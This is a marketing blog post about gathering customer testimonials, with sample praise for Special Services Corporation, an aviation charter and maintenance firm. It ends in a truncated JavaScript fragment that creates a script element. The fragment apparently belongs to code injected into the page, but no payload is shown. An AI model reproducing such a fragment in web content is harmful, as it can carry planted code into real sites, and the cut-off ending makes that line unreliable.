We all get nice letters and comments from time to time, but we often don’t really understand how to get permission to use these testimonials, what to do with them, or how to get more of them. Sometimes we even feel embarrassed or that it would be in poor taste to use them in marketing. This is unfortunate because what our clients and customers say is much more credible and interesting to prospective customers that what we say about ourselves, our own companies and our own products.

Use of testimonials in marketing materials

According to marketing guru Dan Kennedy, “What others say about you and your product, service, or business is at least 1000% more convincing than what you say, even if you are 1000% more eloquent.” Business owners often are aware of this, but still take a very random approach to customer testimonials. If we do a good job, we believe, our customers will tell us so, and will tell their colleagues about us. This is not typical because people are busy. Think back to the last time you were very pleased with a product or service. Did you take the time to write to the owner or manager? Did you tell anyone about your experience? Chances are you went on with the next thing you had to do that day and didn’t give it a second thought until just now, when I asked you to think about it. Asking people to think about their experience with you, and to write a testimonial or provide a referral, should be an integral part of your marketing system. You wouldn’t leave potential revenue to random chance, would you? Here are some things you can do to collect and use testimonials in a more systematic way:

Create a customer satisfaction survey that is delivered at some point in your sales cycle, typically at a point where customers or clients have begun to see some positive results. Include a box on the survey that clients can check giving you permission to use any comments in your marketing materials.
Use the “request recommendations” feature on LinkedIn on your personal profile, or product or service pages.
Ask people to share their experiences on your company’s Facebook page.

One of the first things we do for clients in our TurboProp and BusinessJet marketing programs is to interview several of their clients. This gives us valuable information about our client’s unique selling proposition (USP) as well as great ingredients for the marketing materials we produce, such as blog articles, ebooks, social media postings, brochures and so on. When Special Services Corporation (SSC) engaged us this year, we talked to a number of people that had booked charter flights, had maintenance performed, or had their aircraft managed by SSC. These people were very enthusiastic about sharing their experiences and effusive in their praise of SSC.

Reading about such a deep and wide range of happy customers is more influential than just about any other marketing materials we could provide for SSC. “The only people I call for Charter Services.” – David Evette, Quality Business Systems “Trusting someone with such a large asset, and with the safety of ourselves and coworkers, requires a “bank account full of trust,” and SSC has that with me. I know they will be thorough in their work, fair in their price, and they will offer more than one solution to any need that I have.” – Jim Hamlett “SSC is excellent at solving problems.” – Bill Lee, Greenville, SC I am very comfortable engaging them for charter services, and absolutely recommend their services to others. – Cliff Jenkins, Greenville, SC For an example, download SSC’s Ebook, “You Can’t Shake Hands on a VideoConference” from their website. var d=document;var s=d.createElement(‘script’); .